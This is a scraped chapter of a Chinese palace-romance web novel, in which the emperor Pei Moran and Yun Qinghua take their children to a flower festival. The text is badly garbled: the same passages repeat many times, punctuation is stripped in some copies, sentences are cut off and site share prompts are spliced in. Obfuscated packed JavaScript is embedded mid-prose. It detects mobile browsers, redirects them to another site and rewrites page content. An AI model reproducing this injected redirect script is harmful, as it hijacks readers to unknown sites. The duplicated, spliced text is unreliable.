“承基、辞忧最近的课业很好,胡太傅说可以开始学习六艺了,夫君得给他们找个擅骑射的好师父。”她道。 坚实有力的臂膀揽住她的细腰,她的背脊抵住了宽厚的胸膛,男人的炙热的体温将她包裹。 裴墨染的气息喷洒在她的耳畔,“什么时候开始的?” “嗯?”云清婳不解。 “什么时候下定决心不爱我的?”他的声音有些哽咽,“是不是因为咱们的第一个孩子?” 云清婳的喉间像是卡了根刺。 大哥,我从始至终都没有爱过你好吗? 不过她不想给自己找麻烦。 “我恨我自己,我比任何人都要痛恨自己,我当初为何那么混账?为何对你这么狠心?我当初为何没有坚定地选择你?”他双臂的力气不断加重,像是恨不得将她融入骨血。 云清婳没有挣扎,任凭他抱着,“你冷静一点。” “我冷静不了!”裴墨染将脸贴在她的脸侧,“蛮蛮,你非要跟我疏远吗?开心也是一日,不开心也是一日,为什么不能试着再次爱上我?为什么非要让自己这般煎熬?” 云清婳感受到了他脸上濡湿一片,心中只觉得嘲讽。 他也开始给她洗脑了。 夫妻这么多年,他根本不懂她。 “裴墨染,你发什么颠?你扪心自问,我对你不好吗?我在你身边,你不快乐吗?一切已经很好了,别一副我负了你的模样。”她转过身,为他揩去脸上的泪。 她给不了他想要的爱,他为何不能凑 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。 云清婳有些疑惑,“我现在这样你也喜欢? 不用明说,裴墨染也明白她的意思。 哪怕知道了她所做的一切,哪怕她不再温柔小意,乖顺撒娇,但他依然喜欢。 “不然呢?裴墨染红着眼反问,“若是不喜欢你,我怎会如此? 云清婳的脑中混沌一片。 这一次,她无法再用理性、理智来分析裴墨染的行为。 …… 晚上,裴墨染让云清婳换上便装,今日是花朝节,他要带她出宫。 云清婳来了兴致,晦暗的眼中迸发出了一丝生机,“把承基、辞忧带上,他们长这么大,没去过几次民间。 裴墨染尽管不愿意让孩子破坏二人独处,但还是一口答应了。 今日的街道分外拥挤,满街都是好看的花灯,五光十色,星星点点,汇聚成了星汉。 街上的花糕香气四溢,一对对男女并肩而行,女子手中都抱着一只牡丹花。 孩子追着游花神的队伍奔跑,扮演花神的女子俏丽清新。 云清婳的脸上不自知的挂上了笑。 飞霜早就迫不及待沿路买了许多小玩意儿。 “糖葫芦,爹爹,我要……辞忧边说边啃着手里的烧饼。 饼渣掉了裴墨染一身。 但他毫不在乎。 街上人潮拥挤,摩肩接踵,天边绽放着五彩的烟花。 “好。裴墨染抱着怀中的一对儿女,眼神宠溺。 他腾不开手,只好侧头看向身边的云清婳,“蛮蛮,抓着我,当心走丢。 云清婳的心情不错,她伸出手抓着他的衣袖,扫视着街道,满眼兴奋。 裴墨染给孩子买完糖葫芦,便将他们放下,让侍卫带他们去放花灯了。 他看出云清婳的欢喜,揽住她的腰,“走,给你买花糕。 她的眼角眉梢舒展开,“不急。 裴墨染目露疑惑。 云清婳转身跟飞霜进了绸缎庄、胭脂铺、珠宝铺…… 沿街的每一家店铺,她都游了个遍。 裴墨染无措地跟在她身后,腿都酸了,可云清婳还兴致勃勃,毫无疲态。 王显的手上、怀中早就抱满了云清婳、飞霜买的小玩意。 “她们的脚力真好,若是行军,定能日行千里。裴墨染侧头小声道。 你的朋友正在书荒,快去帮帮他吧 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。 云清婳有些疑惑,“我现在这样你也喜欢? 不用明说,裴墨染也明白她的意思。 哪怕知道了她所做的一切,哪怕她不再温柔小意,乖顺撒娇,但他依然喜欢。 “不然呢?裴墨染红着眼反问,“若是不喜欢你,我怎会如此? 云清婳的脑中混沌一片。 这一次,她无法再用理性、理智来分析裴墨染的行为。 …… 晚上,裴墨染让云清婳换上便装,今日是花朝节,他要带她出宫。 云清婳来了兴致,晦暗的眼中迸发出了一丝生机,“把承基、辞忧带上,他们长这么大,没去过几次民间。 裴墨染尽管不愿意让孩子破坏二人独处,但还是一口答应了。 今日的街道分外拥挤,满街都是好看的花灯,五光十色,星星点点,汇聚成了星汉。 街上的花糕香气四溢,一对对男女并肩而行,女子手中都抱着一只牡丹花。 孩子追着游花神的队伍奔跑,扮演花神的女子俏丽清新。 云清婳的脸上不自知的挂上了笑。 飞霜早就迫不及待沿路买了许多小玩意儿。 “糖葫芦,爹爹,我要……辞忧边说边啃着手里的烧饼。 饼渣掉了裴墨染一身。 但他毫不在乎。 街上人潮拥挤,摩肩接踵,天边绽放着五彩的烟花。 “好。裴墨染抱着怀中的一对儿女,眼神宠溺。 他腾不开手,只好侧头看向身边的云清婳,“蛮蛮,抓着我,当心走丢。 云清婳的心情不错,她伸出手抓着他的衣袖,扫视着街道,满眼兴奋。 裴墨染给孩子买完糖葫芦,便将他们放下,让侍卫带他们去放花灯了。 他看出云清婳的欢喜,揽住她的腰,“走,给你买花糕。 她的眼角眉梢舒展开,“不急。 裴墨染目露疑惑。 云清婳转身跟飞霜进了绸缎庄、胭脂铺、珠宝铺…… 沿街的每一家店铺,她都游了个遍。 裴墨染无措地跟在她身后,腿都酸了,可云清婳还兴致勃勃,毫无疲态。 王显的手上、怀中早就抱满了云清婳、飞霜买的小玩意。 “她们的脚力真好,若是行军,定能日行千里。裴墨染侧头小声道。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。 云清婳有些疑惑,“我现在这样你也喜欢? 不用明说,裴墨染也明白她的意思。 哪怕知道了她所做的一切,哪怕她不再温柔小意,乖顺撒娇,但他依然喜欢。 “不然呢?裴墨染红着眼反问,“若是不喜欢你,我怎会如此? 云清婳的脑中混沌一片。 这一次,她无法再用理性、理智来分析裴墨染的行为。 …… 晚上,裴墨染让云清婳换上便装,今日是花朝节,他要带她出宫。 云清婳来了兴致,晦暗的眼中迸发出了一丝生机,“把承基、辞忧带上,他们长这么大,没去过几次民间。 裴墨染尽管不愿意让孩子破坏二人独处,但还是一口答应了。 今日的街道分外拥挤,满街都是好看的花灯,五光十色,星星点点,汇聚成了星汉。 街上的花糕香气四溢,一对对男女并肩而行,女子手中都抱着一只牡丹花。 孩子追着游花神的队伍奔跑,扮演花神的女子俏丽清新。 云清婳的脸上不自知的挂上了笑。 飞霜早就迫不及待沿路买了许多小玩意儿。 “糖葫芦,爹爹,我要……辞忧边说边啃着手里的烧饼。 饼渣掉了裴墨染一身。 但他毫不在乎。 街上人潮拥挤,摩肩接踵,天边绽放着五彩的烟花。 “好。裴墨染抱着怀中的一对儿女,眼神宠溺。 他腾不开手,只好侧头看向身边的云清婳,“蛮蛮,抓着我,当心走丢。 云清婳的心情不错,她伸出手抓着他的衣袖,扫视着街道,满眼兴奋。 裴墨染给孩子买完糖葫芦,便将他们放下,让侍卫带他们去放花灯了。 他看出云清婳的欢喜,揽住她的腰,“走,给你买花糕。 她的眼角眉梢舒展开,“不急。 裴墨染目露疑惑。 云清婳转身跟飞霜进了绸缎庄、胭脂铺、珠宝铺…… 沿街的每一家店铺,她都游了个遍。 裴墨染无措地跟在她身后,腿都酸了,可云清婳还兴致勃勃,毫无疲态。 王显的手上、怀中早就抱满了云清婳、飞霜买的小玩意。 “她们的脚力真好,若是行军,定能日行千里。裴墨染侧头小声道。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 活着过日子? 非要没事找事? 他答非所问“蛮蛮你心里分明还是有我的我会让你重新爱上我。” 云清婳有些疑惑“我现在这样你也喜欢?” 不用明说裴墨染也明白她的意思。 哪怕知道了她所做的一切哪怕她不再温柔小意乖顺撒娇但他依然喜欢。 “不然呢?”裴墨染红着眼反问“若是不喜欢你我怎会如此?” 云清婳的脑中混沌一片。 这一次她无法再用理性、理智来分析裴墨染的行为。 …… 晚上裴墨染让云清婳换上便装今日是花朝节他要带她出宫。 云清婳来了兴致晦暗的眼中迸发出了一丝生机“把承基、辞忧带上他们长这么大没去过几次民间。” 裴墨染尽管不愿意让孩子破坏二人独处但还是一口答应了。 今日的街道分外拥挤满街都是好看的花灯五光十色星星点点汇聚成了星汉。 街上的花糕香气四溢一对对男女并肩而行女子手中都抱着一只牡丹花。 孩子追着游花神的队伍奔跑扮演花神的女子俏丽清新。 云清婳的脸上不自知的挂上了笑。 飞霜早就迫不及待沿路买了许多小玩意儿。 “糖葫芦爹爹我要……”辞忧边说边啃着手里的烧饼。 饼渣掉了裴墨染一身。 但他毫不在乎。 街上人潮拥挤摩肩接踵 “好。”裴墨染抱着怀中的一对儿女眼神宠溺。 他腾不开手只好侧头看向身边的云清婳“蛮蛮抓着我当心走丢。” 云清婳的心情不错她伸出手抓着他的衣袖扫视着街道满眼兴奋。 裴墨染给孩子买完糖葫芦便将他们放下让侍卫带他们去放花灯了。 他看出云清婳的欢喜揽住她的腰“走给你买花糕。” 她的眼角眉梢舒展开“不急。” 裴墨染目露疑惑。 云清婳转身跟飞霜进了绸缎庄、胭脂铺、珠宝铺…… 沿街的每一家店铺她都游了个遍。 裴墨染无措地跟在她身后腿都酸了可云清婳还兴致勃勃毫无疲态。 王显的手上、怀中早就抱满了云清婳、飞霜买的小玩意。 “她们的脚力真好若是行军定能日行千里。”裴墨染侧头小声道。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。” 云清婳有些疑惑,“我现在这样你也喜欢?” 不用明说,裴墨染也明白她的意思。 哪怕知道了她所做的一切,哪怕她不再温柔小意,乖顺撒娇,但他依然喜欢。 “不然呢?”裴墨染红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她们的脚力真好,若是行军,定能日行千里。”裴墨染侧头小声道。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。” 云清婳有些疑惑,“我现在这样你也喜欢?” 不用明说,裴墨染也明白她的意思。 哪怕知道了她所做的一切,哪怕她不再温柔小意,乖顺撒娇,但他依然喜欢。 “不然呢?”裴墨染红着眼反问,“若是不喜欢你,我怎会如此?” 云清婳的脑中混沌一片。 这一次,她无法再用理性、理智来分析裴墨染的行为。 …… 晚上,裴墨染让云清婳换上便装,今日是花朝节,他要带她出宫。 云清婳来了兴致,晦暗的眼中迸发出了一丝生机,“把承基、辞忧带上,他们长这么大,没去过几次民间。” 裴墨染尽管不愿意让孩子破坏二人独处,但还是一口答应了。 今日的街道分外拥挤,满街都是好看的花灯,五光十色,星星点点,汇聚成了星汉。 街上的花糕香气四溢,一对对男女并肩而行,女子手中都抱着一只牡丹花。 孩子追着游花神的队伍奔跑,扮演花神的女子俏丽清新。 云清婳的脸上不自知的挂上了笑。 飞霜早就迫不及待沿路买了许多小玩意儿。 “糖葫芦,爹爹,我要……”辞忧边说边啃着手里的烧饼。 饼渣掉了裴墨染一身。 但他毫不在乎。 街上人潮拥挤,摩肩接踵,天边绽放着五彩的烟花。 “好。”裴墨染抱着怀中的一对儿女,眼神宠溺。 他腾不开手,只好侧头看向身边的云清婳,“蛮蛮,抓着我,当心走丢。” 云清婳的心情不错,她伸出手抓着他的衣袖,扫视着街道,满眼兴奋。 裴墨染给孩子买完糖葫芦,便将他们放下,让侍卫带他们去放花灯了。 他看出云清婳的欢喜,揽住她的腰,“走,给你买花糕。” 她的眼角眉梢舒展开,“不急。” 裴墨染目露疑惑。 云清婳转身跟飞霜进了绸缎庄、胭脂铺、珠宝铺…… 沿街的每一家店铺,她都游了个遍。 裴墨染无措地跟在她身后,腿都酸了,可云清婳还兴致勃勃,毫无疲态。 王显的手上、怀中早就抱满了云清婳、飞霜买的小玩意。 “她们的脚力真好,若是行军,定能日行千里。”裴墨染侧头小声道。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 活着过日子? 非要没事找事? 他答非所问,“蛮蛮,你心里分明还是有我的,我会让你重新爱上我。” 云清婳有些疑惑,“我现在这样你也喜欢?” 不用明说,裴墨染也明白她的意思。 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靖王防御性的后退半步,他解释:“蓉儿,这两匹布差不多。” “差不多?一匹是秋香色,一匹是鹅黄色,你敷衍我?!”云蓉伸手在他胳膊上狠狠一拧。 靖王痛得闷哼,面皮涨红,他一扭头就看到了裴墨染。 裴墨染幸灾乐祸地笑了。 这个没出息的蠢货! 当街被女人欺负成这样! 云清婳跟云蓉交换了个眼神,二人携手去挑布。 靖王像是看见了救星,跟云蓉说了什么,快步走上来,“皇兄……” 裴墨染立即示意他噤声。 “咳咳,四哥跟四嫂也在花朝节出游啊。”他揉着胳膊,面色窘迫尴尬。 裴墨染颔首,他轻蔑地瞥了靖王一眼,“有点出息!当街被女人叱骂像什么话?!” “唉……”靖王看到腾不出手的王显,苦不堪言地叹气,“皇兄也走了很久吧?” 裴墨染像是找到了知音,他叹了口气,“三条街了。” 靖王怜悯地看着他,因为前面还有三条街! 他用手挡着嘴,压低声音道:“皇兄,我怀疑云家祖上有武将血脉。” “我跟你可不同,被女人打,也要找找自己的原因。” 蛮蛮已经很久没打他了。 靖王像是霜打的茄子,恹恹地垂下了脑袋。 正说着,云清婳又挑了一匹青色的布,一匹湖蓝色的布。 “夫君,哪一匹好看?我想给孩子做衣裳。”她问。 靖王抬起脸,好奇地看向裴墨染。 裴墨染吸取教训,他随手指着湖蓝色那一匹,“这个。” 云清婳颔首,“为何?” 裴墨染懵了,他的脑 袋一片空白,沉默了半晌,他随口胡诌,“因为青色这匹显腰粗……” 他心想,这次应该没有问题。 上次御前有个老嬷嬷穿,就是如此。 话音刚落,靖王、王显不约而同露出惊骇的眼神。 “四哥,你要不要再看看呢?”靖王面色凝重,别有深意地提醒。 “是啊,您再想想啊。”王显着急地说。 “嗯?” 裴墨染不解,“就是显腰粗,还显黑。” 扑哧—— 周围的许多顾客都笑了。 下一瞬,云清婳走上前,笑中带着些许狰狞,“嫌、我、腰、粗、了?” 裴墨染眼眸瞪圆,陡然反应过来。 蛮蛮今日穿的襦裙正是青色。 他惊恐地摇头,“不、不……” 她的眼神一厉,伸手拧着他的耳朵,“嫌我腰粗了是吧?” “我没有!蛮蛮身材轻盈纤细,怎会腰粗?我说的不是娘子。”裴墨染忙不迭解释。 云清婳反问:“那是谁?” “……”他不敢说。 靖王躲闪到一边,为云清婳让出场地。 “娘子,我看错了,其实青色那匹更好看。”他立即改口。 裴墨染用气音道:“娘子、娘子,好多人看着呢,给我留点面子。” 云清婳狠狠剜了他一眼,放开他,转身就走。 裴墨染让飞霜将两匹布都买走,匆匆跟了上去。 靖王下意识揉了揉耳朵,眼神又惊恐又幸灾乐祸。 “蛮蛮,你别气了,我胡说的。”裴墨染三步并作两步,抓住云清婳的手。 “别碰我!”她想甩开他。 可裴墨染却抓得更紧,“蛮蛮,你再给我一次机会,我保证这次一定让你满意。” “你当是考试呢?还补考?”云清婳想要甩开他的手。 就在这时两个孩子跑来,“娘亲,我要玩那个。” 云清婳立即不挣扎了,与裴墨染扮演和睦。 承基、辞忧指着远处的古树。 许多人都在古树上系红绳祈福。 “你们想许什么愿啊?”云清婳弯下腰问。 承基、辞忧摇摇头,一脸狡黠,“娘亲 小说全网首发无弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556500|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 真坏,愿望说出来就不灵了。 云清婳:…… 这两个小机灵鬼,比她心眼子还多。 云清婳带着孩子去了前面的城隍庙的古树前买了两个祈愿牌,她把毛笔递给他们,“可是不说出愿望,你们会写字吗? 承基、辞忧迟疑了片刻,最后还是捏着毛笔写了起来。 裴墨染方才排队买了花糕,他将花糕递到云清婳嘴边。 云清婳咬了一口,好奇地瞥着孩子的祈福木牌。 二人利用身高优势,鬼鬼祟祟地偷瞄木牌。 跟料想的一样,孩子会写的字不多,但是他们在画画。 画上是四个简陋的小人,应该是他们一家四口在一起。 裴墨染的嘴角上扬,心中感到一阵暖意,他在云清婳耳边道:“没白疼这两个逆子。 云清婳的眼神复杂。 蓦地,她的掌心被塞进了一个什么东西。 低头一看,又是一枚符箓。 狗男人,尽送这些廉价的东西! 她正想张嘴骂他,裴墨染立即道:“蛮蛮,这次不是永结同心符,是平安福。我还是有进步的吧? “???她用莫名其妙的眼神看他。 王显也一头雾水。 哪来的进步? 裴墨染正色解释:“上次的永结同心符的确不太实用,但平安符总实用吧? “…… 云清婳咬牙切齿:“省钱别省在我身上,以后再送我这些廉价的玩意儿,就给我滚! 裴墨染深吸一口气,像是觉得眼前人不可理喻,“你掉钱眼里了?我真是媚眼抛给瞎子看!你这个女人懂不懂情调? “情调?云清婳被气笑了,“让人喜欢的小礼物才叫情调,你只取悦了你自己。 他语塞。 王显觉得皇后娘娘说得对,他都替皇上着急。 皇上根本不懂女人的心思。 但也不怪皇上,皇上年仅十二岁便去了西北军营,对他们这些血战沙场,朝不保夕的人而言,除了兵器跟温饱,平安便是最珍贵的礼物。 “那你说你想要什么?裴墨染问。 第407章 比起你们,我更爱你们娘亲 云清婳:“……” 王显急得跺脚。 皇上怎么能问出来呢? “你没救了!”云清婳牵着孩子就走了。 “走娘亲带你们去看花神。”她柔声道。 “好!”孩子们齐声欢呼。 云清婳将要跨出城隍庙时 她看着谢泽修的脸一时之间有点晃神。 太像了…… 太像姐姐了。 “表哥……”云清婳笑道。 谢泽修的眼中迸发出光彩“蛮蛮!” “你可还好?” 他问的是春狩之后的事。 她颔首“一切安好表哥放心。” 谢泽修的手里拿着一盏兔子花灯他递给她“蛮蛮我方才看一个孤女可怜随手买了一盏花灯你看看喜欢吗?” 这盏花灯跟云清婳曾经想要的兔子花灯很像。 那盏兔子花灯几年前被裴墨染投壶投中赢了回来。 “多谢表哥。”云清婳接过。 裴墨染快步走上前隔在二人中间语气不善地问:“谢将军今夜也上街游玩?” “见过圣上。”谢泽修行礼。 “爱卿不必拘谨。”他不咸不淡道。 为了避嫌云清婳将花灯递给辞忧“你们两个拿去玩吧。” 虽然她跟谢泽修坦坦荡荡但害怕某个醋罐子多想。 “好漂亮。”辞忧爱不释手。 承基对花灯没什么兴趣但还是酸溜溜地说:“这盏花灯大家都有就我没有。” 云清婳:“……” “别误会娘亲只是借你们玩一下要是弄坏了我就揍你们屁股。”她虎着脸摇了摇拳头。 两个孩子点头如捣蒜。 承基心里瞬间平衡了。 可裴墨染的心里却酸溜溜的他盯着花灯恨不得在上面凿出两个窟窿。 谢泽修寒暄了几句便进去祈福了。 裴墨染不满地嘀咕“他的花灯比我的平安符贵重不成?你就这么喜欢?” 她瞪了他一眼“你跟表哥比什么?你怀疑我跟表哥不成?” “蛮蛮我可没有!这都是你说的。”裴墨染忙不 迭辩解。 “表哥的礼物至少好看你的礼物……”她嗤了一声施施然往前走。 “你冷笑是什么意思?他的礼物就不廉价、俗气吗?”他跟在后面追问。 云清婳懒得解释。 王显、飞霜在后面无奈地抬头望天。 烟火放完了今日虽然没有宵禁但游客如织的街道也空了一半。 路上的行人纷纷打道回府节庆的热闹劲儿过去了。 云清婳、裴墨染也准备回宫了。 马车停在街头走过去还须半柱香的功夫。 “唔……”承基、辞忧揉了揉红彤彤的眼睛眼皮子都快睁不开了小脸蛋上挂着疲惫。 云清婳的步伐也放慢她轻捶了捶大腿。 进宫后她便疏于走动。 今日玩得不亦乐乎逛了好几个时辰腿有些酸了。 裴墨染嗤笑“你还知道累?我还以为你的腿是铁打的呢。” “你不帮忙就少说风凉话。”云清婳狡黠道。 “上来吧。” 裴墨染走到她面前弓下腰动作熟稔“娘子想让我背就直说何必拐弯抹角?” 云清婳毫不犹豫的扑上他的背。 男人的背脊宽厚温热他的双手托着她的腿十分安稳。 云清婳通身的疲惫得到了纾解瞬间松快了她缓缓吁出一口气。 裴墨染的嘴角扬起。 蛮蛮没有那么排斥他了。 她的心里肯定是有他的。 “唔……爹爹我要抱抱。”辞忧嘟着嘴委屈地张开双臂。 承基也张开双臂“我也要。” 他们的浑圆清澈的葡萄眼水汪汪的鼻尖泛着粉可怜兮兮地看着裴墨染。 可裴墨染不吃这套他翻了个白眼“有没有点眼力劲儿?爹在背你们娘呢。” “……” 承基、辞忧的嘴巴撅得快能挂酱油壶像是受了天大的委屈。 云清婳垂眼看着两个孩子的小表情不仅没有心疼还有种欺负小孩的爽快感。 “哭也没用”裴墨染背着云清婳往前走 承基、辞忧气得小鼻子一抽一抽的他们见没 戏立即转身找侍卫抱了。 “咦惹”云清婳的小脸嫌弃的一拧“别在孩子面前说这些。” “又不是什么见不得人的话本来就是如此。”他自然而然地说。 云清婳的嘴角上扬。 她的训狗技术真好啊。 …… 回了坤宁宫后承基、辞忧早就在路上睡着了。 裴墨染命人将两个孩子抱回寝房。 游玩了一晚上云清婳没用晚膳肚子饿得咕咕直叫。 飞霜煮了桂花酒酿汤圆飘香芬芳的甜汤才端上桌云清婳就迫不及待地拿起汤匙舀了一勺甜汤。 “主子小心烫!”飞霜笑道。 云清婳的舌头才接触到米酿就烫得吐了出来“嘶……” 裴墨染赶紧递给她一杯凉了的茶水“快漱口烫到了吧?” “主子没事吧?”飞霜慌忙拿着帕子给云清婳擦拭着嘴角跟衣裳。 云清婳咽下茶水舌头都快没知觉了像是被烙铁烙了一下。 今晚她前所未有的松快舒畅所以得意忘形了。 “我的舌头没烫出泡吧?”云清婳看向飞霜张开嘴。 裴墨染凑上前他捏着云清婳的下巴仔细检查着“好着呢飞霜命人送些冰块过来。” 飞霜笑了“是。” 云清婳挥开他的手宵夜已经是没心思用了她推给裴墨染“你喝吧。” 裴墨染无奈地看着她 她不语只是一昧地嚼着软弹的糯米丸子。 少顷飞霜送来了冰块。 云清婳含着冰舌尖上不适的灼烧酥麻感才消退半分。 睡前云清婳特意命人将谢泽修的花灯收起来。 裴墨染闻言脸色暗淡下去他将她打横抱上床榻“别人的花灯你就百般珍惜我送的花灯就俗气不值钱?” 一股醋意在二人之间弥散开来。 云清婳被他吵得头疼。 一个大男人纠结一晚上花灯有意思吗? 她平静地解释:“你当初送的那盏花灯是我最喜欢的。表哥送的花灯跟你送的那盏很像。” 话音刚落裴墨染的眸子像是霎时被点亮。 他的嘴角噙着笑就像是受到表扬的狗狗。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 戏,立即转身找侍卫抱了。 “咦惹,”云清婳的小脸嫌弃的一拧,“别在孩子面前说这些。” “又不是什么见不得人的话,本来就是如此。”他自然而然地说。 云清婳的嘴角上扬。 她的训狗技术真好啊。 …… 回了坤宁宫后,承基、辞忧早就在路上睡着了。 裴墨染命人将两个孩子抱回寝房。 游玩了一晚上,云清婳没用晚膳,肚子饿得咕咕直叫。 飞霜煮了桂花酒酿汤圆,飘香芬芳的甜汤才端上桌,云清婳就迫不及待地拿起汤匙,舀了一勺甜汤。 “主子,小心烫!”飞霜笑道。 云清婳的舌头才接触到米酿,就烫得吐了出来,“嘶……” 裴墨染赶紧递给她一杯凉了的茶水,“快漱口,烫到了吧?” “主子,没事吧?”飞霜慌忙拿着帕子给云清婳擦拭着嘴角跟衣裳。 云清婳咽下茶水,舌头都快没知觉了,像是被烙铁烙了一下。 今晚她前所未有的松快舒畅,所以得意忘形了。 “我的舌头没烫出泡吧?”云清婳看向飞霜,张开嘴。 裴墨染凑上前,他捏着云清婳的下巴,仔细检查着,“好着呢,飞霜,命人送些冰块过来。” 飞霜笑了,“是。” 云清婳挥开他的手,宵夜已经是没心思用了,她推给裴墨染,“你喝吧。” 裴墨染无奈地看着她,端着碗吹凉了喂她,“谁跟你抢不成?都当娘了,怎么跟个孩子一样?” 她不语,只是一昧地嚼着软弹的糯米丸子。 少顷,飞霜送来了冰块。 云清婳含着冰舌尖上不适的灼烧酥麻感才消退半分。 睡前,云清婳特意命人将谢泽修的花灯收起来。 裴墨染闻言,脸色暗淡下去,他将她打横抱上床榻,“别人的花灯你就百般珍惜,我送的花灯就俗气不值钱?” 一股醋意在二人之间弥散开来。 云清婳被他吵得头疼。 一个大男人纠结一晚上花灯,有意思吗? 她平静地解释:“你当初送的那盏花灯,是我最喜欢的。表哥送的花灯,跟你送的那盏很像。” 话音刚落,裴墨染的眸子像是霎时被点亮。 他的嘴角噙着笑,就像是受到表扬的狗狗。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 戏立即转身找侍卫抱了。 “咦惹”云清婳的小脸嫌弃的一拧“别在孩子面前说这些。” “又不是什么见不得人的话本来就是如此。”他自然而然地说。 云清婳的嘴角上扬。 她的训狗技术真好啊。 …… 回了坤宁宫后承基、辞忧早就在路上睡着了。 裴墨染命人将两个孩子抱回寝房。 游玩了一晚上云清婳没用晚膳肚子饿得咕咕直叫。 飞霜煮了桂花酒酿汤圆飘香芬芳的甜汤才端上桌云清婳就迫不及待地拿起汤匙舀了一勺甜汤。 “主子小心烫!”飞霜笑道。 云清婳的舌头才接触到米酿就烫得吐了出来“嘶……” 裴墨染赶紧递给她一杯凉了的茶水“快漱口烫到了吧?” “主子没事吧?”飞霜慌忙拿着帕子给云清婳擦拭着嘴角跟衣裳。 云清婳咽下茶水舌头都快没知觉了像是被烙铁烙了一下。 今晚她前所未有的松快舒畅所以得意忘形了。 “我的舌头没烫出泡吧?”云清婳看向飞霜张开嘴。 裴墨染凑上前他捏着云清婳的下巴仔细检查着“好着呢 飞霜笑了“是。” 云清婳挥开他的手宵夜已经是没心思用了她推给裴墨染“你喝吧。” 裴墨染无奈地看着她端着碗吹凉了喂她“谁跟你抢不成?都当娘了怎么跟个孩子一样?” 她不语只是一昧地嚼着软弹的糯米丸子。 少顷飞霜送来了冰块。 云清婳含着冰舌尖上不适的灼烧酥麻感才消退半分。 睡前云清婳特意命人将谢泽修的花灯收起来。 裴墨染闻言脸色暗淡下去他将她打横抱上床榻“别人的花灯你就百般珍惜我送的花灯就俗气不值钱?” 一股醋意在二人之间弥散开来。 云清婳被他吵得头疼。 一个大男人纠结一晚上花灯有意思吗? 她平静地解释:“你当初送的那盏花灯是我最喜欢的。表哥送的花灯跟你送的那盏很像。” 话音刚落裴墨染的眸子像是霎时被点亮。 他的嘴角噙着笑就像是受到表扬的狗狗。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 戏,立即转身找侍卫抱了。 “咦惹,”云清婳的小脸嫌弃的一拧,“别在孩子面前说这些。” “又不是什么见不得人的话,本来就是如此。”他自然而然地说。 云清婳的嘴角上扬。 她的训狗技术真好啊。 …… 回了坤宁宫后,承基、辞忧早就在路上睡着了。 裴墨染命人将两个孩子抱回寝房。 游玩了一晚上,云清婳没用晚膳,肚子饿得咕咕直叫。 飞霜煮了桂花酒酿汤圆,飘香芬芳的甜汤才端上桌,云清婳就迫不及待地拿起汤匙,舀了一勺甜汤。 “主子,小心烫!”飞霜笑道。 云清婳的舌头才接触到米酿,就烫得吐了出来,“嘶……” 裴墨染赶紧递给她一杯凉了的茶水,“快漱口,烫到了吧?” “主子,没事吧?”飞霜慌忙拿着帕子给云清婳擦拭着嘴角跟衣裳。 云清婳咽下茶水,舌头都快没知觉了,像是被烙铁烙了一下。 今晚她前所未有的松快舒畅,所以得意忘形了。 “我的舌头没烫出泡吧?”云清婳看向飞霜,张开嘴。 裴墨染凑上前,他捏着云清婳的下巴,仔细检查着,“好着呢,飞霜,命人送些冰块过来。” 飞霜笑了,“是。” 云清婳挥开他的手,宵夜已经是没心思用了,她推给裴墨染,“你喝吧。” 裴墨染无奈地看着她,端着碗吹凉了喂她,“谁跟你抢不成?都当娘了,怎么跟个孩子一样?” 她不语,只是一昧地嚼着软弹的糯米丸子。 少顷,飞霜送来了冰块。 云清婳含着冰舌尖上不适的灼烧酥麻感才消退半分。 睡前,云清婳特意命人将谢泽修的花灯收起来。 裴墨染闻言,脸色暗淡下去,他将她打横抱上床榻,“别人的花灯你就百般珍惜,我送的花灯就俗气不值钱?” 一股醋意在二人之间弥散开来。 云清婳被他吵得头疼。 一个大男人纠结一晚上花灯,有意思吗? 她平静地解释:“你当初送的那盏花灯,是我最喜欢的。表哥送的花灯,跟你送的那盏很像。” 话音刚落,裴墨染的眸子像是霎时被点亮。 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